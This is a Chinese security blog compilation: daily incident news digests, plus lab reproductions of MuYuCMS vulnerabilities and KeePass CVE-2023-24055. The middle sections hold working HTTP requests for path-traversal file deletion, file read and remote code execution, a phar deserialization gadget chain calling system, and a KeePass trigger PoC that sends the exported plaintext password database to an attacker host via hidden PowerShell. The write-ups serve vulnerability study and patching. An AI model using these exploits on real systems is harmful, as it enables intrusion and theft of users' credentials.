网络安全日报 2023年02月22日
1、研究人员发现一种名为Stealc的新型信息窃取程序
https://securityaffairs.com/142516/malware/stealc-advanced-infostealer.html 2023年1月,SEKOIA.IO的研究人员发现了一种名为Stealc的新型信息窃取程序,该程序在暗网论坛上广为宣传。据称,Stealc的开发依赖于Vidar、Raccoon、Mars和Redline窃取程序。2月,专家们发现了数十个Stealc样本,它们与Vidar和Raccoon有相似之处。Stealc能够从流行的网络浏览器、加密货币钱包的浏览器扩展、桌面加密货币钱包以及其他应用程序(如电子邮件客户端)中窃取敏感数据。
2、LVHN声称遭到BlackCat勒索软件组织的攻击
https://www.mcall.com/2023/02/20/lehigh-valley-health-network-reports-cyberattack-from-suspected-russian-ransomware-group/ Lehigh Valley Health Network官员周一宣布,他们已遭到与俄罗斯有关的BlackCat组织的攻击。LVHN总裁兼首席执行官Brian A. Nester表示,截至周一,此次攻击还没有影响到LVHN的运营。根据其初步分析,攻击针对的是位于美国拉克瓦纳县的一家医生诊所的网络。LVHN于2月6日在该网络的IT系统中检测到未经授权的活
3、Outlook邮件过滤器损坏导致收件箱收到垃圾邮件
https://www.bleepingcomputer.com/news/microsoft/microsoft-outlook-flooded-with-spam-due-to-broken-email-filters/ 根据越来越多的微软客户的报告,在过去的十几个小时里,Outlook收件箱中充斥着垃圾邮件,因为垃圾邮件过滤器目前已被破坏。无数Outlook用户证实了这一持续存在的问题,他们在社交媒体上表示,所有邮件都在收件箱中,甚至是那些以前被标记为垃圾邮件并发送到垃圾文件夹的邮件。有用户称,即使在垃圾邮件过滤器中选中“只信任来自我的安全发件人和域名列表以及安全邮件列表中的电子邮件”
4、Aviacode公司遭到勒索软件攻击泄露200GB文件
https://www.databreaches.net/aviacode-remains-silent-after-0mega-dumps-200-gb-of-their-files/ 1月9日,DataBreaches注意到Aviacode已添加到0mega的泄漏站点。Aviacode公司主要提供一个基于SaaS的工作流平台,包含医疗企业编程的各个环节。0mega勒索软件组织于2月11日转储了超过200 GB的Aviacode文件。研究人员在泄露的数据中发现了有关员工和承包商的数据,包含员工、工资单、税务信息和用户数据。其他与员工相关的文件包括员工的工资信息、职位、证书、雇用日期,在少数
5、 Fortinet FortiNAC 严重漏洞CVE-2022-39952 PoC发布
https://securityaffairs.com/142553/hacking/poc-exploit-code-fortinet-fortinac.html Horizon3 网络安全公司的研究人员发布了针对 Fortinet 的 FortiNAC 网络访问控制解决方案中严重漏洞的PoC,该漏洞被跟踪为CVE-2022-39952 。上周,Fortinet 发布了安全更新,以解决 FortiNAC 和 FortiWeb 解决方案中的两个关键漏洞。这两个漏洞被追踪为 CVE-2022-39952 和 CVE-2021-42756,分别是Fortinet FortiNAC中文件名或路径的
6、Resecurity 警告针对全球数据中心的恶意网络活动有所增加
https://securityaffairs.com/142531/hacking/attacks-data-center-service-providers.html Resecurity 警告针对全球数据中心服务提供商的恶意网络活动有所增加。
7、VMware 修复了严重的 Carbon Black 应用程序控制漏洞
https://www.securityweek.com/vmware-plugs-critical-carbon-black-app-control-flaw/ VMware 周二推出了一项重大安全修复程序,以弥补其面向企业的 Carbon Black App Control 产品中的一个关键漏洞。来自 VMware 的严重严重性建议将漏洞跟踪为 CVE-2023-20858,并警告说黑客可以启动注入攻击以获得对底层服务器操作系统的完全访问权限。
8、抗量子密码学算法CRYSTALS-Kyber已被 AI 结合侧信道攻击破解
https://www.securityweek.com/ai-helps-crack-a-nist-recommended-post-quantum-encryption-algorithm/ NIST 于 2022 年 7 月推荐的用于后量子密码学的CRYSTALS -Kyber公钥加密和密钥封装机制已被破解。瑞典斯德哥尔摩 KTH 皇家理工学院的研究人员使用递归训练 AI 结合侧信道攻击。
9、MyloBot 僵尸网络在全球迅速蔓延,每天感染超过 50,000 台设备
https://thehackernews.com/2023/02/mylobot-botnet-spreading-rapidly.html 一个名为 MyloBot 的复杂僵尸网络已经破坏了数千个系统,其中大部分位于印度、美国、印度尼西亚和伊朗。
10、联合国发布《隐私增强技术指南》概述
https://www.secrss.com/articles/52113 2023年2月13日,联合国大数据和数据科学专家委员(UNCEBD)会发布《隐私增强技术指南》(The PET Guide)。指南重点关注隐私增强技术在官方统计数据中的应用,旨在帮助各国的国家统计局更好地理解和运用隐私增强技术处理敏感数据,提升数据的准确性和安全性,进而助力政府科学合理决策。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
木鱼cms系统审计小结
MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。
环境搭建
我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ,同时利用 PhpStorm 来实现对项目的调试
漏洞复现分析
任意文件删除
我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除
任意文件删除一
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/filesdel.html HTTP/1.1
Host: test.test
Content-Length: 55
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
filedelur=/upload/files/.gitignore/../../../../test.txt
文件被成功删除
漏洞分析
\app\admin\controller\Accessory::filesdel
通过参数 $filedelurl 拼接得到要删除文件的地址,利用 unlink 函数删除文件,中间没有做任何校验
任意文件删除二
漏洞复现
登录后台后构造数据包
POST /admin.php/accessory/picdel.html HTTP/1.1
Host: test.test
Content-Length: 54
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close
picdelur=/upload/files/.gitignore/../../../../test.txt
漏洞分析
\app\admin\controller\Accessory::picdel
通过参数 $picdelur 拼接得到要删除图片的地址,利用 unlink 函数删除文件,中间没有做任何校验
任意文件删除三
漏洞复现
登录后台后构造数据包
GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
漏洞分析
\App\Controller\Controller::delete_node
\App\Core\File::deleteFile
\App\Controller\Controller::beforeFun
对传入的 path 判断了是否在合法的文件域中,但没有对传入的 path 没有进行跨目录的校验就删除了文件
任意文件删除四
漏洞复现
POST /admin.php/database/sqldel.html HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
name=../../test.txt
漏洞分析
\app\admin\controller\Database::sqldel
获取 post 传入的参数 name
利用 delFile 函数删除文件
任意文件删除五
漏洞复现
登录后台后构造数据包
POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341
Connection: close
漏洞分析
\app\admin\controller\Update::rmdirr
传入的参数 $dirname 经过简单的判断,然后调用 unlink 函数去删除
任意文件读取
漏洞复现
登录后构造数据包
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
成功读取文件信息
漏洞分析
\App\Controller\Controller::get_file
列目录
漏洞复现
登录后构造数据包
GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
成功将根目录下的信息显露出来
漏洞分析
\App\Controller\Controller::dir_list
\App\Core\Jstree::getDir
\App\Controller\Controller::beforeFun
对传入的 dir_path判断了是否在合法的文件域中,但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息
任意代码执行
任意代码执行一
漏洞复现
登录后构造数据包,读取config 文件内容
GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
此时需要获取的并不是文件内容,而是更改之后文件的key
复制文件校验码 替换到下面数据包中
GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1
Host: test.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://test.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://test.test/editor/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
Connection: close
访问文件在网站上对应的位置,发现代码已经被成功执行
也可以执行其他代码
漏洞分析
\App\Controller\Controller::save_file
save_file 有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改
\App\Core\File::setFileContent
任意代码执行二
漏洞复现
登录后构造数据包
POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1
Host: test.test
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://test.test
Referer: http://test.test/admin.php/system/update.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM
Connection: close
指定远程 url 下载文件,下载的文件保存到指定位置
访问指定的文件目录,发现代码被成功执行
漏洞分析
\app\admin\controller\Update::getFile
通过 $url 指定获取远程文件的地址,$save_dir 指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞
phar反序列化
漏洞复现
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
@unlink('shell.jpg');
$phar = new Phar("shell.phar"); //
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Windows();
//$object ->haha= 'eval(@$_POST[\'a\']);';
// $object ->haha= 'phpinfo();';
$phar->setMetadata($object);
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
echo (base64_encode(serialize(new Windows())));
}
?>
生成 phar 序列化数据包 修改后缀,启动 python 服务器
构造数据包下载远程的文件到本地
GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1
Host: test.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
执行 phar 序列化
http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png
注意事项
在最开始,获取远程图片的时候,一直出现错误 提示 链接contentType不正确 通过在代码中查找,定位到问题位置
校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪
但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type
我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T
漏洞分析
\app\admin\controller\Update::rmdirr
通过协议绕过了对文件名的检测然后触发了反序列漏洞
MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php
网络安全日报 2023年02月21日
1、WIP26间谍活动滥用云基础设施针对电信公司
https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/ SentinelLabs与QGroup GmbH的研究人员一直监控被追踪为WIP26的威胁活动。WIP26背后的威胁行为者滥用公共云基础设施以中东的电信提供商为目标。威胁行为者通过包含Dropbox链接的WhatsApp消息精确定位员工来启动感染链。诱骗员工下载并执行加载程序,最终会导致部署利用Microsoft 365 Mail和Google Firebase
2、葡萄牙供水公司Aguas do Porto遭LockBit勒索软件攻击
https://securityaffairs.com/142477/cyber-crime/lockbit-water-utility-aguas-do-porto.html LockBit勒索软件组织声称已经入侵了葡萄牙市政供水公司Aguas do Porto,并威胁要泄露被盗数据。Aguas do Porto是一家市政供水公司,负责管理包括供水和废水排放在内的整个水循环。LockBit勒索软件组织将市政供水公司添加到Tor泄漏网站的受害者名单中,截止日期为2023年3月7日。该组织尚未发布被盗数据样本作为安全漏洞的证据。目前,尚不清楚勒索软件团伙窃取的数据量和数据类型。Aguas do
3、二维码生成器MyQRcode泄露了用户的登录数据
https://www.hackread.com/qr-code-generator-my-qr-code-data-leak/ 流行的二维码生成器网站MyQRcode正在泄露用户的个人数据。安全漏洞已导致超过128 GB的数据泄露,其中包括66000名客户的个人信息。泄露是由于错误配置引起的,这使得公众可以在没有任何安全认证或密码的情况下公开访问服务器。并且数据每天都在更新新记录,这表明泄露仍在进行中。泄露的数据包括客户的个人和登录凭证,包括全名、职称、电子邮件地址、密码哈希、二维码URL、电话号码、物理地址、社交媒体资料链接等。安全研究员Anurag Sen向Hackread.com报告
4、印度火车票购票平台RailYatri遭黑客攻击泄露用户信息
https://www.hackread.com/indian-ticketing-platform-railyatri-hacked/ 印度流行的火车票预订平台RailYatri遭遇大规模数据泄露,超过3100万(31062673)用户/乘客的个人信息暴露。据信,此次泄密事件发生在2022年12月下旬,敏感信息数据库目前正在网上泄露。泄露的数据包括电子邮件地址、全名、性别、电话号码和位置,这可能使数百万用户面临身份盗用、网络钓鱼攻击和其他网络犯罪的风险。该数据库已在Breachforums黑客论坛上泄露。
5、加密货币交易所 Coinbase遭黑客攻击
https://securityaffairs.com/142507/cyber-crime/coinbase-smishing-attack.html Coinbase 加密货币交易所是复杂网络攻击的受害者,黑客发起了一场针对加密货币交易所 Coinbase 员工的诈骗活动。
6、Frebniis 恶意软件滥用 Microsoft IIS 功能创建后门
https://securityaffairs.com/142466/malware/frebniis-malware-iis.html Broadcom Symantec 研究人员发现了一种新的恶意软件,被追踪为 Frebniis,它滥用 IIS来部署后门并监视系统所有 HTTP 流量。
7、Atlassian 员工凭证被盗,导致数据泄露
https://securityaffairs.com/142424/data-breach/atlassian-data-leak.html Atlassian 披露了一起数据泄露事件,该事件是由用于窃取第三方供应商数据的员工凭证被盗造成的。
8、三星发布Message Guard 可保护设备免受零点击攻击
https://www.securityweek.com/new-samsung-message-guard-protects-mobile-devices-against-zero-click-exploits/ 随着最新旗舰 Galaxy 智能手机的推出,三星推出了名为 Message Guard 的新沙盒功能,旨在保护设备免受零点击攻击。
9、Twitter 关闭了非订阅者基于短信的2FA
https://www.securityweek.com/twitter-shuts-off-text-based-2fa-for-non-subscribers/ 日前推特方面宣布,自 3 月 20 日开始,将不再支持用户基于短信的双重因素身份验证(2FA)方式,仅购买了 " 推特蓝 "(Twitter Blue)订阅服务的用户才可继续使用。
10、针对中文用户,黑客利用谷歌搜索广告传播恶意软件
https://www.secrss.com/articles/52007 ESET在一篇研究报告上表示,其安全研究员发现了一个针对东亚和东南亚华语人群的恶意软件活动。攻击者通过在Google搜索结果中购买误导性广告,诱骗受害者下载安装木马程序。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
KeePass敏感信息明文传输漏洞复现 (CVE-2023-24055)
一、漏洞描述
漏洞简述
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。
对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
漏洞影响范围
供应商:KeePass
产品:KeePass Password Safe 2
确认受影响版本:KeePass 2.53版本
修复版本:KeePass 2.53.1版本
二、漏洞复现实战
环境搭建
Step 1 KeePass 2.53
下载地址:https://keepass.info/
Step 2 KeePass翻译语言包
下载地址:https://keepass.info/translations.html
将语言包文件复制至安装路径下“Languages”文件夹下
在KeePass中进入语言设置,切换语言
漏洞复现
根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。
创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:
(1)POC写入配置文件
将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。
其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。
利用powershell以GET方式传输数据库中密码文件。
POC:
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
保存KeePass.config.xml文件,触发器功能查看exploit触发器
(2)通过触发器功能手工创建触发器
以官方触发器构成为参考
https://keepass.info/help/kb/trigger_examples.htmlexploit触发器配置如下:
属性项:命名为exploit,其余默认配置
事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)
条件项:为空
操作项:
导出当前数据库
文件路径为上述文件传输路径
文件格式选择 KeePass XML (2.x)
执行命令行/URL
文件路径为PowerShell.exe ,使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择Hidden
完成创建,可以看到exploit触发器
在攻击机 创建web服务,后续接收传输后的密码明文;
在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息
进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。
漏洞修复
建议更新至KeePass 2.53.1 版本
结束语
本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
网络安全日报 2023年02月20日
1、APT37组织通过隐写术传播新的M2RAT恶意软件
https://asec.ahnlab.com/ko/47622/ AhnLab安全应急响应中心(ASEC)分析小组在1月份确认,RedEyes攻击组织(也称为APT37、ScarCruft)正在通过Hangul Encapsulated PostScript(EPS)漏洞(CVE-2017-8291)传播恶意软件。此次RedEyes组织的攻击活动主要利用隐写技术传播恶意代码。黑客组织向目标发送了包含恶意附件的钓鱼电子邮件。打开附件会触发对韩国常用的韩文文字处理器中的旧EPS漏洞(CVE-2017-8291)的利用。该漏洞将导致shellcode在受害者的计算机上运行,下载并执行存储在JPE
2、汤加通信公司遭到勒索软件攻击影响其行政运作
https://therecord.media/tonga-is-the-latest-pacific-island-nation-hit-with-ransomware/ 汤加国有电信公司向客户发出警告,称其受到了勒索软件的攻击。汤加通信公司(TCC)在Facebook上发布通知称,这次攻击可能会减慢行政运作。该公司表示“勒索软件攻击已被证实是为了加密和锁定对TCC部分系统的访问。这不会影响向客户提供语音和互联网服务,但可能会减缓连接新客户、交付账单和管理客户查询的过程。”网络安全专家Dominic Alvieri表示,Medusa勒索软件组织声称对周一的TCC攻击负责。
3、SAS航空公司遭到网络攻击导致网站和应用离线
https://www.hackread.com/sas-airlines-hit-by-cyber-attack/ 2月14日,SAS航空公司遭到网络攻击,迫使该公司的网站和应用程序离线,乘客无法访问。据路透社报道,该航空公司敦促客户不要使用其移动应用程序,因为他们可能会收到不正确的信息。据报道,包括挪威客户在内的一些用户登录了错误的账户,访问了其他客户的数据。SAS的新闻负责人Karin Nyman表示,该问题现已得到解决。该航空公司没有提供有关这次攻击事件的细节。
4、安全厂商Fmsisoft警告称黑客正在伪造其证书以入侵网络
https://www.bleepingcomputer.com/news/security/emsisoft-says-hackers-are-spoofing-its-certs-to-breach-networks/ 网络安全公司Emsisoft警告,一名黑客正在使用伪造的代码签名证书冒充Emsisoft公司来瞄准使用其安全产品的客户,希望以此绕过他们的防御。这些假证书的名称似乎与可信赖的实体相关联,但实际上并不是有效证书。Emsisoft表示,威胁行为者可能通过暴力破解RDP或使用属于目标组织员工的被盗凭证获得了对受感染设备的初始访问权。一旦攻击者获得了对端点的访问权限,他们就会安装
5、Apache修复了Kafka中的远程代码执行漏洞
https://portswigger.net/daily-swig/remote-code-execution-flaw-patched-in-apache-kafka Apache解决了一个可能利用Kafka Connect发起远程代码执行(RCE)攻击的漏洞,漏洞被跟踪为CVE-2023-25194。该漏洞只有在访问Kafka Connect worker(一个逻辑工作单元组件)时才会触发,并且用户还必须能够使用任意Kafka客户端SASL JAAS配置和基于SASL的安全协议来创建或修改worker连接器。利用Kafka漏洞,经过身份验证的攻击者可以通过Aiven API或Kafka
6、研究人员发现新挖矿攻击利用Exchange ProxyShell漏洞
https://www.bleepingcomputer.com/news/security/microsoft-exchange-proxyshell-flaws-exploited-in-new-crypto-mining-attack/ 一种名为“ProxyShellMiner”的新型恶意软件利用Microsoft Exchange ProxyShell漏洞在整个Windows域中部署加密货币矿工。攻击者利用ProxyShell漏洞CVE-2021-34473和CVE-2021-34523来获得对组织网络的初始访问权。之后,将.NET恶意软件有效载荷放入域控制器的NETLOGON文件夹
7、德国多个机场网站遭到DDos攻击影响航班运作
https://securityaffairs.com/142373/breaking-news/german-airports-websites-failures.html 上周四,德国几个机场的网站无法访问,专家展开调查,推测可能是针对关键基础设施进行的大规模网络攻击。ADV机场协会的首席执行官证实,这些网站遭到了DDoS攻击。机场的其他系统没有受到影响。这起网络攻击事件发生的前一天,一次IT故障导致德国国家航空公司汉莎航空(Lufthansa)在法兰克福机场的数千名乘客取消和延误航班。机场管理人员证实,这些问题很可能是由恶意流量引起的。
8、HAProxy发布补丁修复HTTP请求走私漏洞
https://portswigger.net/daily-swig/http-request-smuggling-bug-patched-in-haproxy HAProxy是一款流行的开源负载均衡器和反向代理,它修补了一个漏洞,该漏洞使攻击者能够发起HTTP请求走私攻击。通过发送恶意制作的HTTP请求,攻击者可以绕过HAProxy的过滤器,并获得对后端服务器的未经授权访问。HAProxy维护者Willy Tarreau表示,自2019年6月发布的HAProxy 2.0版本以来,该漏洞就一直存在。Tarreau正在积极维护HAProxy的七个版本,并为所有这些版本发布了修复程序。
9、研究人员披露多款Arris路由器存在RCE漏洞
https://www.securityweek.com/newly-disclosed-vulnerability-exposes-eol-arris-routers-to-attacks/ Malwarebytes警告称,一个远程代码执行漏洞会影响多款Arris路由器,该漏洞被跟踪为CVE-2022-45701,是由于路由器固件没有正确中和请求中的特殊字符,这允许安全研究员可以执行shell脚本命令注入。受影响的型号已达到生命周期终止(EOL),不太可能收到补丁。该安全漏洞影响运行固件版本9.1.103的G2482A、TG2492和SBG10路由器,这些路由器在拉丁美洲和加勒比地区很常见
10、GoDaddy披露遭到黑客入侵并窃取了源代码
